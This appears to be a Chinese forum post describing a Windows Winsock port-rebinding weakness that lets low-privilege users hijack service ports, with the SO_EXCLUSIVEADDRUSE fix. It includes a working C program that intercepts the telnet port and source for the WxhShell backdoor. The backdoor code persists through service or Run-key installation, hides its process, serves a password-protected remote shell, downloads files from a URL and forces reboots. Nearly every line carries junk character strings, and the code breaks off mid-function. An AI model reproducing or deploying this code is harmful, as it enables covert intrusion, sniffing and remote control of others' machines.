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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /wL}+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X}xy v  
d1#;>MiU  
  saddr.sin_family = AF_INET; ~8Z0{^  
:_Y@,CpIEg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GV([gs  
igsJa1F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X &6p_Lo  
@D rMaTr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /E@|  
$R7n1  
  这意味着什么?意味着可以进行如下的攻击: \5Jpr'mY5  
DxT8;`I%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b{t'Doe  
}cG!93  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l M5Xw  
=?3D:k7z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t3b%f`D  
M:qeqn+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,xrXby|R"  
P-VK=Y1q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 969*mcq'  
:'!,L0I|t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PK5xnT:  
$aX}i4F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BXVmt!S5F  
D`LcL|nmH  
  #include 2mbZ6'p {  
  #include 4*_9Gl  
  #include `bffw:; %  
  #include    =LS?:Mhm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jyf[O -  
  int main() -Vk+zEht  
  { nqt;Ge M  
  WORD wVersionRequested; &V[m{.  
  DWORD ret; 2*5Z| 3aX  
  WSADATA wsaData; v*1UNXU\  
  BOOL val; `Xnu("w)  
  SOCKADDR_IN saddr; ]z,W1Zs?  
  SOCKADDR_IN scaddr; &<-Sxjj  
  int err; 1_!*R]aq  
  SOCKET s; :~pPB#)nk  
  SOCKET sc; m0W5Ogk  
  int caddsize; Zycu3%JI  
  HANDLE mt; SqTO~zGC  
  DWORD tid;   bH&Cbme90-  
  wVersionRequested = MAKEWORD( 2, 2 ); w3c[t~R8  
  err = WSAStartup( wVersionRequested, &wsaData ); DJ;G0*  
  if ( err != 0 ) { INsc!xOQ  
  printf("error!WSAStartup failed!\n"); e;56}w  
  return -1; E/9 U0  
  } _ pM&Ya  
  saddr.sin_family = AF_INET; XS]=sfN  
   M& GA:`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =usx' #rb  
r"SuE:D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AW4N#gt8',  
  saddr.sin_port = htons(23); 'c\zW mAZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wGE:U`  
  { Aq}]{gfQ1  
  printf("error!socket failed!\n"); C XZm/^  
  return -1; n0kBLn  
  } NWSBqL5v   
  val = TRUE; q3B#rje>h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >z1RCQWju  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O2?ye4uq  
  { 7E4=\vM  
  printf("error!setsockopt failed!\n"); eZ y)>.6Z  
  return -1;  ;OQ{  
  } <SUjz}_Oa:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l njaHol0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3HC aZ?Ry'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a5:Q%F<!  
%lAJ]$m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Zg%U4m:  
  { l~wx8 ,?G  
  ret=GetLastError(); ~oh=QakW  
  printf("error!bind failed!\n"); -@-cG\{  
  return -1; 2P~zYdjS  
  } M;={]w@n  
  listen(s,2); \ aQBzEX  
  while(1) ]L%qfy4  
  { &C<B=T"I  
  caddsize = sizeof(scaddr); |_8- 3  
  //接受连接请求 ,2/qQD n/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6$w)"Rq  
  if(sc!=INVALID_SOCKET) y iE[^2Pv  
  { I2(5]85&]s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); T+zZOI  
  if(mt==NULL) |f&)@fUI  
  { 1Dg\\aUk  
  printf("Thread Creat Failed!\n"); mF [w-<:.d  
  break; ScYw3i  
  } f2B?Zn  
  } G*ZHLLO4S\  
  CloseHandle(mt); &F*s.gL  
  } B@` 87  
  closesocket(s); at${^,&  
  WSACleanup(); z@^[.  
  return 0; :f?\ mVS+  
  }   mdR:XuRD"t  
  DWORD WINAPI ClientThread(LPVOID lpParam) .@Z qCH  
  { h #Od tc1)  
  SOCKET ss = (SOCKET)lpParam; y.26:c(  
  SOCKET sc; ?N<* ATC L  
  unsigned char buf[4096]; 6]rIYc[,  
  SOCKADDR_IN saddr; k!b\qS~Q  
  long num; e'mm42  
  DWORD val; ! R?r)G5E  
  DWORD ret; (EGsw o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mnu4XE#|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ge9j:S{  
  saddr.sin_family = AF_INET; 9%j_"+<c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \@vR*E  
  saddr.sin_port = htons(23); ")"VQ|$y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2@@OjeANsX  
  { ttuQ ,SD  
  printf("error!socket failed!\n"); *g]q~\b/;  
  return -1; b"t95qlL  
  } : I28Zi*  
  val = 100; ao#{N=mn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >xws  
  { gEbe6!; q3  
  ret = GetLastError(); ByoSwQ  
  return -1; }(z[ rZ  
  } #"fBF/Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /Y:&307q  
  { RrRrB"!8nR  
  ret = GetLastError(); mBSa*s)  
  return -1; 3t5`,R1@t  
  } k{(R.gLZG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "qjkw f)\  
  { 'Ar+k\.J  
  printf("error!socket connect failed!\n"); >{p&_u.r-  
  closesocket(sc); mk8xNpk B  
  closesocket(ss); }&Un8Rg"h  
  return -1; sxIvL7jl  
  } j+"i$ln+s  
  while(1) B *p`e1  
  { \:9dt8(-U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W\:!v%C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wv>*g:El'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hJ\IE?+  
  num = recv(ss,buf,4096,0); 1r;]==  
  if(num>0) k'E3{8<!  
  send(sc,buf,num,0); 0B#9CxU%  
  else if(num==0) Y m=ihQ|  
  break; O|=5+X  
  num = recv(sc,buf,4096,0); x1</%y5ev  
  if(num>0) 56t9h/y  
  send(ss,buf,num,0); \7rFfN3  
  else if(num==0) c[J(H,mt/  
  break; >=BH$4Ce  
  } ggtGecKm  
  closesocket(ss); b<>GF-`w  
  closesocket(sc); :kz*.1  
  return 0 ; _^;+_6&[  
  } GOuBNaU {  
U>?q|(u  
m/RX~,T*v&  
========================================================== a~E@scD  
VI7f}  
下边附上一个代码,,WXhSHELL )Kkw$aQI"d  
Dn~r~aR$g  
========================================================== ivDmPHj{  
8+Sa$R  
#include "stdafx.h" ' RK .w^  
~sj'GEhEg  
#include <stdio.h> CZ"~N`  
#include <string.h> ?,uTH 4  
#include <windows.h> X-2rC  
#include <winsock2.h> a,g3 /  
#include <winsvc.h> u UXj  
#include <urlmon.h> S`g:z b_  
1.*VliY  
#pragma comment (lib, "Ws2_32.lib") &<hDl<E  
#pragma comment (lib, "urlmon.lib") ,(&jG^IpVJ  
)@+lfIE(l  
#define MAX_USER   100 // 最大客户端连接数 VWDXEa9  
#define BUF_SOCK   200 // sock buffer ^Z1t'-xZ  
#define KEY_BUFF   255 // 输入 buffer Otq`45  
z-};.!L^  
#define REBOOT     0   // 重启 6Y?%G>$6  
#define SHUTDOWN   1   // 关机 +c;/hM<IX.  
^*JpdmVhu  
#define DEF_PORT   5000 // 监听端口 C_xO k'091  
WeyH;P=  
#define REG_LEN     16   // 注册表键长度 ; ^+#  
#define SVC_LEN     80   // NT服务名长度 qYo"-D*  
 mG4$  
// 从dll定义API ZS&>%G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ETU.v*HT]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {p3VHd#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0kC}qru'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `q =e<$  
{6H%4n  
// wxhshell配置信息 ?4>uGaU\  
struct WSCFG { #=@H-ZuD7  
  int ws_port;         // 监听端口 T,N"8N{K"  
  char ws_passstr[REG_LEN]; // 口令 rHe*/nN%*  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4CAV)  
  char ws_regname[REG_LEN]; // 注册表键名 4Uz1~AuNxb  
  char ws_svcname[REG_LEN]; // 服务名 h1O^~"x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )Dn~e#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V)x(\ls]SX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &%J+d"n(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +LBDn"5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,K4*0!TXP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [4qCW{x._  
Xc)V;1  
}; A8Z2o\+  
Cwo(%Wc  
// default Wxhshell configuration w1Ar[ P  
struct WSCFG wscfg={DEF_PORT, },1**_#<Br  
    "xuhuanlingzhe", 55lL aus  
    1, p }p1>-j  
    "Wxhshell", 0LI:R'P+P[  
    "Wxhshell", 2K >tI9);  
            "WxhShell Service", X( Q*(_  
    "Wrsky Windows CmdShell Service", % 1f, 8BM  
    "Please Input Your Password: ", [t)omPy<c  
  1, 85;hs  
  "http://www.wrsky.com/wxhshell.exe", $BIQ# T>qK  
  "Wxhshell.exe" W?+U%bIZ9  
    }; ?t;>]Wo;  
Xxl>,QUA  
// 消息定义模块 )HZUCi/F]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \=n0@1Q=>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O<}^`4d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /WIO@c  
char *msg_ws_ext="\n\rExit."; _PTo !aJL  
char *msg_ws_end="\n\rQuit."; 1|K>V;C  
char *msg_ws_boot="\n\rReboot..."; #$\cRLPg  
char *msg_ws_poff="\n\rShutdown..."; Y# <38+Gd  
char *msg_ws_down="\n\rSave to "; HbQvu@  
"v.]s;g  
char *msg_ws_err="\n\rErr!"; P<+y%g(({  
char *msg_ws_ok="\n\rOK!"; {sn:Lj0  
'Na \9b(  
char ExeFile[MAX_PATH]; X`,4pSQ;  
int nUser = 0; 1\v$8pP+  
HANDLE handles[MAX_USER]; _-NS-E  
int OsIsNt; 6 yIl)5/=  
R<r"jOd]  
SERVICE_STATUS       serviceStatus; L,@O OBD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :V)W?~Z7B  
?(8z O"  
// 函数声明 @(:ah  
int Install(void); iEDZ\\,  
int Uninstall(void); {?a9>g-BW  
int DownloadFile(char *sURL, SOCKET wsh); G5^gwG+  
int Boot(int flag); WZ.d"EE"  
void HideProc(void); >v4k_JX  
int GetOsVer(void); {d|R67~V  
int Wxhshell(SOCKET wsl); # Sm M5%  
void TalkWithClient(void *cs); U3ygFW%  
int CmdShell(SOCKET sock); 3J\NkaSR  
int StartFromService(void); 6~g:"}  
int StartWxhshell(LPSTR lpCmdLine); 7ko7)"N  
>.R6\>N%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S6sSdo'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4fDo}~  
' pE %'8R  
// 数据结构和表定义 |pIA9/~Z  
SERVICE_TABLE_ENTRY DispatchTable[] =  L_+0[A  
{ uj.~/W1,!  
{wscfg.ws_svcname, NTServiceMain}, Lh=~3  
{NULL, NULL} `[+9n2j  
}; 9"yBO`  
Q]*YIb~D  
// 自我安装 C,C=W]G  
int Install(void) +uPN+CgQ@  
{ Z_%}pe39B  
  char svExeFile[MAX_PATH]; @5gZK[?|I  
  HKEY key; ?FRR";  
  strcpy(svExeFile,ExeFile); tVx.J'"Y  
>K`.!!av,Y  
// 如果是win9x系统,修改注册表设为自启动 M mg#Vy~  
if(!OsIsNt) { D\Y)E#%,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !$q1m@K1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Y"bt^4j  
  RegCloseKey(key); d}f| HOFq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]{9oB-;,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Tzq vnn  
  RegCloseKey(key); vOYcS$,^X%  
  return 0; B0c}5V  
    } '-#6;_ i<  
  } +n(H"I7cU  
} }?P~qJ|1  
else { ~L(_q]  
c ;3bX6RD*  
// 如果是NT以上系统,安装为系统服务 oH+UuP2a-J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v9~Hl   
if (schSCManager!=0) RJs_ S  
{ (4V1%0  
  SC_HANDLE schService = CreateService SwQ.tK1p  
  ( <!,q:[ee5  
  schSCManager, $ql-"BB  
  wscfg.ws_svcname, _ED1".&#f  
  wscfg.ws_svcdisp, :,F^{  
  SERVICE_ALL_ACCESS, }nE#0n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $"{V],:T |  
  SERVICE_AUTO_START, ;>=hQC{f>  
  SERVICE_ERROR_NORMAL, |Sg *j-.  
  svExeFile, K*J8(/WkD  
  NULL, a@@!Eg A  
  NULL,  OU=9fw  
  NULL, C# r_qn  
  NULL, *f8,R"]-g  
  NULL b* Ipg8n+  
  ); .<Z7 K @  
  if (schService!=0) i7~oZ)w  
  { ej,MmLu~^  
  CloseServiceHandle(schService); (2@b ,w^  
  CloseServiceHandle(schSCManager); F *; +-e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +ZXGT  
  strcat(svExeFile,wscfg.ws_svcname); +!POKr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6,G^iv6H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~4}m'#!  
  RegCloseKey(key); e:[ Kp6J  
  return 0; P's<M  
    } )ymF: ]QC  
  } `n-e.{O((  
  CloseServiceHandle(schSCManager); u2<:mu[|P  
} v%3)wD  
} ;lGa.RD[a  
gx[#@ (  
return 1; M;MD-|U  
} ?l,i(I  
+bm2vIh$  
// 自我卸载 f.jAJ; N>  
int Uninstall(void) JXj`  
{ ^ +{ ~ ^y7  
  HKEY key; 7\ff=L-b  
?p5RSt  
if(!OsIsNt) { u\qyh9s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f Jv 0 B*  
  RegDeleteValue(key,wscfg.ws_regname); %8o(x 0  
  RegCloseKey(key); QBto$!})  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q1dYiG.-Z  
  RegDeleteValue(key,wscfg.ws_regname); !xo@i XL  
  RegCloseKey(key); v,>F0ofJ  
  return 0; aic6,>\!'  
  } jo<sN  
} N 5/TV%u  
} 0'97af  
else { @YwaOc_%  
D~f.)kkC4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -I=}SZ  
if (schSCManager!=0) ">fgoDQ  
{ XQ(`8Jl&^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rvE!Q=y~  
  if (schService!=0) >^J!Z~;L)  
  { oU~V0{7g  
  if(DeleteService(schService)!=0) { '%RMpyK~  
  CloseServiceHandle(schService); `*oLEXYN  
  CloseServiceHandle(schSCManager); n^Z?u9VR  
  return 0; bT{P1nUu  
  } !W$Br\<  
  CloseServiceHandle(schService); ^J% w[FE  
  } #UND'c(5  
  CloseServiceHandle(schSCManager); <2cq 0*$  
} l}Xmm^@)  
} ?7&VT1  
A v2 _A  
return 1; 3C,e>zE}  
} b}"/K$`Fd  
0jq&i#yNB  
// 从指定url下载文件 * )]SsM1  
int DownloadFile(char *sURL, SOCKET wsh) BC$In!  
{ /v!H{Zw=c  
  HRESULT hr; D"x~bs?V\  
char seps[]= "/"; q }z,C{Wq<  
char *token; zx'`'t4~  
char *file; iBUf1v  
char myURL[MAX_PATH]; T[Gz  
char myFILE[MAX_PATH]; 6  09=o+  
}= <!j5:  
strcpy(myURL,sURL); RTl7vzG  
  token=strtok(myURL,seps); NZlJ_[\$C  
  while(token!=NULL) &H4UVI  
  { u|:VQzPd-  
    file=token; #kb(2Td  
  token=strtok(NULL,seps); !-MG"\#Wq  
  } 1~`g fHI4  
] lO$oO  
GetCurrentDirectory(MAX_PATH,myFILE); A`N;vq,  
strcat(myFILE, "\\"); JR<R8+@g_  
strcat(myFILE, file); PPq*_Cf  
  send(wsh,myFILE,strlen(myFILE),0); ptDA))7M/  
send(wsh,"...",3,0); uk'<9g^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cz a)s  
  if(hr==S_OK) b&_p"8)_  
return 0; oNCDG|8z  
else fGe{7p6XV*  
return 1; hXr vb[6  
pP/o2  
} }bnkTC  
X r)d;@yi  
// 系统电源模块 pH~JPNng  
int Boot(int flag) T8m%_U#b  
{ ZRQPOy  
  HANDLE hToken; !CMN/=  
  TOKEN_PRIVILEGES tkp; |y=gp  
VmT5? i  
  if(OsIsNt) { & {/ u>,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T]zjJwa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g1{wxBFE  
    tkp.PrivilegeCount = 1; 9E#(iP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oaXD^ H\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sO6t8)$b  
if(flag==REBOOT) { C9iG`?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hBqu,A  
  return 0; U&/S  
} >S3 >b  
else { p-6.:y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iLI]aZ   
  return 0;  nm~  
} J~Ph)|AiS  
  } H5%I?ZXw4  
  else { Qv=Z  
if(flag==REBOOT) { _k@l-Bj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #FQVhgc  
  return 0; U{}7:&As  
} Z"^@B2v  
else { enr mjA&3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YOoP]0'L  
  return 0; 1M{#"t{6  
} sI'HS+~pU  
} 5.E 2fX  
OlJj|?z $  
return 1; ]a%Kn]HI&2  
} N~kYT\$b#  
P3|<K-dFAK  
// win9x进程隐藏模块 SYwNx">Bq  
void HideProc(void) g!8lW   
{ yLX#: nm  
Bx)&MYY}[[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4%7*tVG  
  if ( hKernel != NULL ) 4>HGwk@+8  
  { sP |i '  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CUG<v3\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tSYnc7  
    FreeLibrary(hKernel);  M:$nL  
  } }.vy|^X  
s#fmGe"8  
return; <>oW f  
} iau&k `b`  
R}Y=!qjYE=  
// 获取操作系统版本 :F\f}G3  
int GetOsVer(void) %G&v@R  
{ <coCu0  
  OSVERSIONINFO winfo; jdp:G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w6Q]?p+  
  GetVersionEx(&winfo); u5ygbCm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cOgtBEhn  
  return 1; iy"K g]  
  else qh 3f  
  return 0; >KFJ1}b|3  
} 8IH gsW";  
T1&H!  
// 客户端句柄模块 :JIPF=]fc  
int Wxhshell(SOCKET wsl) *ZGN!0/  
{ J|IDnCK  
  SOCKET wsh; do,X{\  
  struct sockaddr_in client; LfApVUm  
  DWORD myID; DPx,qM#h5O  
XEEbmIO*<9  
  while(nUser<MAX_USER) <hbbFL}|%  
{ U8KY/!XZ  
  int nSize=sizeof(client); buXG32;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e8 aV qq[  
  if(wsh==INVALID_SOCKET) return 1; SI9hS4<j  
3lN+fQ>)S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gp+XM  
if(handles[nUser]==0) U;@jl?jnG  
  closesocket(wsh); Se`N5hQ  
else oUSG`g^P(M  
  nUser++; gEsR-A!m  
  } j[cjQ]>~'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1n"X?K5;A  
&L]*]Xz;  
  return 0; 7p$*/5fk  
} #O+]ydvT  
#^ #i]{g  
// 关闭 socket Z B&Uhi  
void CloseIt(SOCKET wsh) uyj*v]AE'  
{ KOx#LGz  
closesocket(wsh); a6E"  
nUser--; qS|VUy4  
ExitThread(0); gj^]}6-P  
} NN'<-0~  
auW]rwY  
// 客户端请求句柄 O$/ swwB!  
void TalkWithClient(void *cs) I+t38 un%  
{ T}[vfIJD  
C>dJ:.K%H  
  SOCKET wsh=(SOCKET)cs; E 5{)d~q  
  char pwd[SVC_LEN]; z]AS@}wWqg  
  char cmd[KEY_BUFF]; @\8gzvkt  
char chr[1]; A#: c  
int i,j; mU$7_7V~  
vKC&Qi ;  
  while (nUser < MAX_USER) { HPKyAcS\  
vq7%SEkES  
if(wscfg.ws_passstr) { 7F:;3c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -%l, Zd9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y j\yO(o/  
  //ZeroMemory(pwd,KEY_BUFF); |l(lrJ{  
      i=0; B31-<w  
  while(i<SVC_LEN) { 63Yu05'  
y(h(mr  
  // 设置超时 nF$)F?||  
  fd_set FdRead; ~|C1$.-  
  struct timeval TimeOut; {~g  
  FD_ZERO(&FdRead); ,z )NKt#  
  FD_SET(wsh,&FdRead); ss8v4@C  
  TimeOut.tv_sec=8; #!,`EU  
  TimeOut.tv_usec=0; p|V1Gh<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L.[uMuUa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d<? :Q  
Aq'E:/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E]?HCRa5R  
  pwd=chr[0]; Sr 4 7u{n  
  if(chr[0]==0xd || chr[0]==0xa) {  89=JC[c  
  pwd=0; '|N4fbZd  
  break; IFofF Xv_  
  } G3^]Wwu  
  i++; rxp9B>~  
    } 6G$tYfX  
xH#a|iT?(  
  // 如果是非法用户,关闭 socket RyWOiQk;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yj/nzTVJ[  
} !DL53DQ#  
Y'0?<_ fj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4 S9, tc&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,nRwwFd.  
l]y%cJ~$'D  
while(1) { aB6LAb2z;T  
91d`LsP  
  ZeroMemory(cmd,KEY_BUFF); V9+"CB^  
Sc 3M#qm_  
      // 自动支持客户端 telnet标准   E(+wl  
  j=0; -0WCwv  
  while(j<KEY_BUFF) { psy(]Pf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nw& }qSN  
  cmd[j]=chr[0]; W(lKR_pF  
  if(chr[0]==0xa || chr[0]==0xd) { oe|<xWu  
  cmd[j]=0; qgsE7 ]  
  break; "d>g)rvOc  
  } ]m#MwN$  
  j++; A""*vqA  
    } <L ( =  
y"L`bl A9}  
  // 下载文件 O[p^lr(B7  
  if(strstr(cmd,"http://")) { 0+y~RTAVB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  ,bp pM  
  if(DownloadFile(cmd,wsh)) <O)X89dFM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4M2Ec  
  else C{i;spc!bi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NV(4wlh)y  
  } vek:/'sj3p  
  else { J K]tcP  
IBNQmVRrI  
    switch(cmd[0]) { TIWLp  
  %<#3_}"T|  
  // 帮助 k+r9h'd   
  case '?': { cPaWJ+c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lrX0c$)  
    break; 't?7.#,6O  
  } ~G:2iSi(#  
  // 安装 v[DbhIXU  
  case 'i': { *[~o~e/YCb  
    if(Install()) qq7X ",s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ jXN*A  
    else +ls*//R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ! }?jCpp  
    break; v;}`?@G  
    } [xp,&  
  // 卸载 FO>(QLlH  
  case 'r': { mS~ ]I$  
    if(Uninstall()) UK_aqB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DcR}pQ(e  
    else 5h=TV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =<zSF\Zr_  
    break; C"^hMsU8  
    } kxqc6  
  // 显示 wxhshell 所在路径 r{2].31'  
  case 'p': { V52C,]qQH  
    char svExeFile[MAX_PATH]; ie~fQ!rf  
    strcpy(svExeFile,"\n\r"); hk!,  
      strcat(svExeFile,ExeFile); QT= ,En  
        send(wsh,svExeFile,strlen(svExeFile),0); .0fh>kQ  
    break; hB}h-i(u  
    } R~5* #r@f  
  // 重启 SM#S/|.]  
  case 'b': { ]\ 2RV DC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 27 145  
    if(Boot(REBOOT)) ;!JX-Jq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i$^B-  
    else { Q$h:[_v  
    closesocket(wsh); mV*/zWh_  
    ExitThread(0); 8u'O` j  
    } -llx:  
    break; t-7U1B}=<C  
    } @-&(TRbZo  
  // 关机 wAl}:|+n  
  case 'd': { eBC%2TF  
